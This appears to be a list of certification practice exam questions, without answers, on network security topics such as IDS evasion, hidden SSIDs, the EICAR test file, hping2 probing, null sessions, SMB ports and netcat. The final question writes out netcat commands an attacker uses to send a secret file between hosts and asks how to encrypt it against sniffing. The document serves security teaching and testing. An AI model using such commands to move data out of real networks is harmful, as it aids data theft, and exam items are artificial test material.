How would you describe an attack where an attacker attempts to deliver the payload over multiple packets over
How would you describe an attack where an attacker attempts to deliver the payload over multiple packets over long periods of time with the purpose of defeating simple pattern matching in IDS systems without session reconstruction? A characteristic of this attack would be a continuous stream of small packets.
Unauthorized users are still able to connect to the wireless network. Why do you think this is possible?
In an attempt to secure his wireless network, Bob turns off broadcasting of the SSID. He concludes that since his access points require the client computer to have the proper SSID, it would prevent others from connecting to the wireless network. Unfortunately unauthorized users are still able to connect to the wireless network. Why do you think this is possible?
What is the advantage in encrypting the communication between the agent and the monitor in an Intrusion Detect
What is the advantage in encrypting the communication between the agent and the monitor in an Intrusion Detection System?
which is based on the European Institute for Computer Antivirus Research format that can be detected by the AV
You have installed antivirus software and you want to be sure that your AV signatures are working correctly. You don’t want to risk the deliberate introduction of a live virus to test the AV software. You would like to write a harmless test virus, which is based on the European Institute for Computer Antivirus Research format that can be detected by the AV software.
How should you proceed?
What is Paula seeing happen on this computer?
Paula works as the primary help desk contact for her company.Paula has just received a call from a user reporting that his computer just displayed a Blue Screen of Death screen and he can no longer work.Paula walks over to the user’s computer and sees the Blue Screen of Death screen.The user’s computer is running Windows XP, but the Blue Screen looks like a familiar one that Paula had seen on Windows 2000 computers periodically.
The user said he stepped away from his computer for only 15 minutes and when he got back, the Blue Screen was there.Paula also noticed that the hard drive activity light was flashing, meaning that the computer was processing something.Paula knew this should not be the case since the computer should be completely frozen during a Blue Screen. She checks the network IDS live log entries and notices numerous nmap scan alerts.
What is Paula seeing happen on this computer?
Why does the host respond to hping2 and not ping packet?
You ping a target IP to check if the host is up. You do not get a response. You suspect ICMP is blocked at the firewall. Next you use hping2 tool to ping the target host and you get a response. Why does the host respond to hping2 and not ping packet?
[ceh]# ping 10.2.3.4
PING 10.2.3.4 (10.2.3.4) from 10.2.3.80 : 56(84) bytes of data.
— 10.2.3.4 ping statistics —
3 packets transmitted, 0 packets received, 100% packet loss
[ceh]# ./hping2 -c 4 -n -i 2 10.2.3.4
HPING 10.2.3.4 (eth0 10.2.3.4): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=10.2.3.4 flags=RA seq=0 ttl=128 id=54167 win=0 rtt=0.8 ms len=46 ip=10.2.3.4 flags=RA seq=1 ttl=128 id=54935 win=0 rtt=0.7 ms len=46 ip=10.2.3.4 flags=RA seq=2 ttl=128 id=55447 win=0 rtt=0.7 ms len=46 ip=10.2.3.4 flags=RA seq=3 ttl=128 id=55959 win=0 rtt=0.7 ms
— 10.2.3.4 hping statistic —
4 packets tramitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.7/0.8/0.8 ms
In the context of Windows Security, what is a 'null' user?
In the context of Windows Security, what is a ‘null’ user?
Which definition below best describes a covert channel?
Which definition below best describes a covert channel?
Which port does SMB over TCP/IP use?
NetBIOS over TCP/IP allows files and/or printers to be shared over the network. You are trying to intercept the traffic from a victim machine to a corporate network printer. You are attempting to hijack the printer network connection from your laptop by sniffing the wire.
Which port does SMB over TCP/IP use?
How would the attacker use netcat to encrypt the information before transmitting onto the wire?
An attacker runs netcat tool to transfer a secret file between two hosts.
Machine A: netcat -l -p 1234 < secretfile
Machine B: netcat 192.168.3.4 > 1234
He is worried about information being sniffed on the network. How would the attacker use netcat to encrypt the information before transmitting onto the wire?